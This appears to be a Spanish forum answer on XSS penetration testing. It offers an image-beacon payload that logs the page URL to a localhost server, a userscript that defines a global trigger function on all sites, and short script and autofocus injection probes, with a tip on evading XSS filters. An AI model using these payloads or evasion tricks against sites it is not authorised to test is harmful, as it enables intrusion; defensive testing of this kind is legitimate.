Para propósitos de prueba, creo que el más útil es una solicitud HTTP. Esto permite que su servidor registre las URL que reflejaron con éxito el XSS.
(new Image()).src = "https://localhost/log_xss?from=" + window.location;
También puedes envolverlo en un script de usuario:
// ==UserScript==
// @match <all_urls>
// @run-at document-start
// ==/UserScript==
Object.defineProperty(window, "f", {
get: function () {
// Your function, you can change if you want.
(new Image()).src = "https://localhost/log_xss?from=" + window.location;
}
});
Entonces, probar XSS es tan fácil como:
<script>f</script>
<input onfocus=f autofocus>
Hay dos ventajas:
- Puede ayudar a evitar algunos filtros XSS. "f" no tiene caracteres especiales, por lo que es muy probable que no se filtre. Aún tendrá que escribir una carga útil completa que omita el filtro, pero puede ayudar a la detección.
- También es más discreto ya que el sitio pentested nunca obtendrá la URL de su servidor.